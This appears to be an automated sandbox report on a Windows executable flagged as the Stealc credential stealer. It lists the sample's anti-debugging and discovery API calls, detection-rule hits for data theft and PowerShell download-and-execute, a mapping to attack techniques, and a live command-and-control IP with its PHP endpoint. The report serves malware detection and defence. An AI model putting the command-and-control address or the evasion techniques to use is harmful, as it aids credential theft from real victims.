Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022DB5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_022DB5A1

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: mJXdkcP4Wx.exe PID: 3496, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419600
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D9867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_022D9867

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00417B90
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_022D7DF7

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.mJXdkcP4Wx.exe.2310000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.mJXdkcP4Wx.exe.2310000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.22c0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.22c0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2081526955.0000000002310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mJXdkcP4Wx.exe PID: 3496, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.mJXdkcP4Wx.exe.2310000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.mJXdkcP4Wx.exe.2310000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.22c0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mJXdkcP4Wx.exe.22c0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2081526955.0000000002310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mJXdkcP4Wx.exe PID: 3496, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	123 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mJXdkcP4Wx.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.122.184.144/	true		unknown
http://62.122.184.144/f88d87a7e087e100.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.122.184.144/f88d87a7e087e100.phpj	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.122.184.144/Q	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.122.184.144/f88d87a7e087e100.php8	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.122.184.144/f88d87a7e087e100.phpH	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
http://62.122.184.144/f88d87a7e087e100.phpr	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.122.184.144/u	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.122.184.144	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, mJXdkcP4Wx.exe, 00000000.00000002.2338273179.000000000075E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://62.122.184.144/f88d87a7e087e100.phpT	mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.122.184.144	unknown	unknown		49120	GORSET-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529199
Start date and time:	2024-10-08 18:47:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mJXdkcP4Wx.exe renamed because original name is a hash value
Original Sample Name:	be89dddee1630cde41b95d2df6070bd3.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/29@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 180
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: mJXdkcP4Wx.exe

Simulations

Behavior and APIs

Time	Type	Description
12:48:24	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.122.184.144	ttFpxuMwKz.exe	Get hash	malicious	Stealc	Browse	62.122.184.144/f88d87a7e087e100.php
	gMkw55jZRs.exe	Get hash	malicious	Stealc	Browse	62.122.184.144/f88d87a7e087e100.php
	QmMKz5d4j7.exe	Get hash	malicious	Stealc	Browse	62.122.184.144/f88d87a7e087e100.php
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse	62.122.184.144/f88d87a7e087e100.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GORSET-ASRU	ttFpxuMwKz.exe	Get hash	malicious	Stealc	Browse	62.122.184.144
	gMkw55jZRs.exe	Get hash	malicious	Stealc	Browse	62.122.184.144
	QmMKz5d4j7.exe	Get hash	malicious	Stealc	Browse	62.122.184.144
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse	62.122.184.144
	1.exe	Get hash	malicious	RedLine	Browse	62.122.184.51
	zJO55iLN3G.elf	Get hash	malicious	Unknown	Browse	31.40.39.14
	4VOPmuZZVV.exe	Get hash	malicious	GoBrut	Browse	62.122.184.95
	0Rae7oghna.elf	Get hash	malicious	Mirai	Browse	46.173.48.47
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse	62.122.190.121
	eQcKjYOV30.exe	Get hash	malicious	Pushdo	Browse	62.122.190.121

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_2ead317adfca7a5c885730d9b5366fa3ef6_40a8189a_4f133548-9dba-471c-b0b7-8ea9e8a09d06\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9572176936284631
Encrypted:	false
SSDEEP:	192:2+/VBhuXhs0xu6c2juSZr+dozuiFLZ24IO8rc:JVBhuBx9c2jOqzuiFLY4IO8rc
MD5:	5A884BEF32191EDEFA4FF33F9F2056B7
SHA1:	F6AFC677FFD13AB47FB60D300A859FABA308E08C
SHA-256:	4EAFD84C5D285FF283EE583573BF3BD35ED13B9A93DF01EA149590E7CF6453F9
SHA-512:	BA8AEF8A0C0214FF1DA1B84743B8DD8CB03132C756167A5D5741988D533B9DCB7B44BC68CDF5E1153EFB256C34441A8BB13A34C671B623F422375A12ADCA5553
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.9.7.9.6.8.7.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.7.9.6.9.0.1.0.9.3.7.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.f.1.3.3.5.4.8.-.9.d.b.a.-.4.7.1.c.-.b.0.b.7.-.8.e.a.9.e.8.a.0.9.d.0.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.f.b.4.d.4.9.2.-.0.6.7.6.-.4.4.3.3.-.8.7.b.9.-.4.b.7.1.6.7.6.1.1.7.e.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_13c0dadb-6c2a-422b-89a2-c3122401e890\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9181876934580382
Encrypted:	false
SSDEEP:	192:PVBhYXs056rgjuSZr+dwzuiFwZ24IO8+c:PVBhYX56rgjOizuiFwY4IO8+c
MD5:	869296268638F7F6C9E19723037B2DF8
SHA1:	DA17EF2C9F6F1E3B99E60495861CFD8CB59DAABE
SHA-256:	ED6A438A597906F6E64434E1C22C2D7FA10E166F5F9B1F5EB9F6DF28D4EFFEA3
SHA-512:	5E0E4AA506400FCAB83FEAB5FC3584E457EEA422340769562962BC95F92DC2716B581EA17DC51AD4AD101B4AC5B4FDB7354CFACFEDA09A3DBF63B00C213F4554
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.6.4.9.9.2.9.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.c.0.d.a.d.b.-.6.c.2.a.-.4.2.2.b.-.8.9.a.2.-.c.3.1.2.2.4.0.1.e.8.9.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.5.6.c.8.9.d.-.3.5.4.6.-.4.0.0.a.-.b.b.0.d.-.a.0.2.4.9.b.8.e.7.0.2.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_3f74de5f-6871-4df1-b2f8-1d585f241dad\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.889429992371612
Encrypted:	false
SSDEEP:	192:tVBhwXs056rgjuSZr+3zuiFwZ24IO8+c:tVBhwX56rgjO3zuiFwY4IO8+c
MD5:	EADAC2813041808609B3029BCFC5AB69
SHA1:	BBFE61BA106C2A0DA42DED82934989FA0824FB50
SHA-256:	E07E741F6375673CD004A91FA5EB25174D175C9FE26416463EBDB10AF71E5E63
SHA-512:	56A0FBE16D62ED55C040119AF1DED4C4C3679B2607E4B2655CF75D389496AF140095DA4158E445410390BE4763E87B06D47D39FFBFCB524FFCF08A68B6C36B23
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.1.4.2.1.2.8.1.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.f.7.4.d.e.5.f.-.6.8.7.1.-.4.d.f.1.-.b.2.f.8.-.1.d.5.8.5.f.2.4.1.d.a.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.3.d.1.5.6.8.b.-.0.1.5.6.-.4.3.a.6.-.b.c.6.3.-.d.b.d.1.e.6.6.f.a.2.3.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_404bf104-b55e-4e90-9546-8a0571655491\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8898625407804479
Encrypted:	false
SSDEEP:	192:DpVBhJXs056rgjuSZr+3zuiFwZ24IO8+c:DpVBhJX56rgjO3zuiFwY4IO8+c
MD5:	2528E7DF8AED5DC1161B6F4D7E85E47E
SHA1:	2C11BB2A1A6D79413D0CAA72D76C9E75A41F1BE4
SHA-256:	CCC02343C0A7CF7E904FC5B0D7AA3C565A44F53EAD7BDDE1582BECFCF740B1F7
SHA-512:	89689BCCA5F9243B3EEEFED399C29B0B323AA443676116BB0D72E5AFB8574AD0A09241EAB045A731556711A8AF83A1F0FD2F5AC737BE8104BBE3D3DE47B257B1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.2.4.0.7.4.1.4.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.0.4.b.f.1.0.4.-.b.5.5.e.-.4.e.9.0.-.9.5.4.6.-.8.a.0.5.7.1.6.5.5.4.9.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.5.1.9.9.5.6.-.0.6.0.8.-.4.1.c.c.-.8.3.b.4.-.2.6.b.a.5.4.d.1.8.7.0.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_4e2f5a10-ead3-496c-986f-915636f27724\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9116315361364012
Encrypted:	false
SSDEEP:	192:flVBh8Xs056rgjuSZr+duzuiFwZ24IO8+c:flVBh8X56rgjO8zuiFwY4IO8+c
MD5:	BA7841E9709EB2AB2190E84344AEDF48
SHA1:	7F5486BFA3E99792A9D6CB6ABAF5D1097CAFA6FA
SHA-256:	C20F210463707213A05B4BF7D690D7B59D07E89AB0CE8AE90383DF834753BB79
SHA-512:	8E39AC6072CE4D02412765C9F2A9987EA7A476811A31490D86889E8C7C94F73EB0453A26ED9C4D2F453D6D2946FF908AF9D7D8BC2FEAAE9EB16F55D47E2256D6
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.5.2.9.6.6.3.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.e.2.f.5.a.1.0.-.e.a.d.3.-.4.9.6.c.-.9.8.6.f.-.9.1.5.6.3.6.f.2.7.7.2.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.7.0.9.7.a.e.-.5.3.3.d.-.4.9.1.1.-.a.4.1.5.-.3.e.d.3.3.2.4.7.a.9.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_c24633ef-bfbf-41fd-820d-70b124cc9185\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8894235648542228
Encrypted:	false
SSDEEP:	192:b/mVBhVXs056rgjuSZr+3zuiFwZ24IO8+c:aVBhVX56rgjO3zuiFwY4IO8+c
MD5:	81EDA43FE9B06F5BC36FCE94D1D609EC
SHA1:	516C1A6345FAA01172B10B062D0135E6B1379A28
SHA-256:	44748B5F660D6F5653DDDF5230ED5981B7E917ABC5F2B1EEFAEB704755D9B75B
SHA-512:	FA49F9295DA27332502C9478BDDC523BF3494D9CDF53FF3C58A2081910D23DC462180EA0758108A467BA79BF5A77FE0AC3B44D91C8420366E09348B6A90E9D38
Malicious:	true
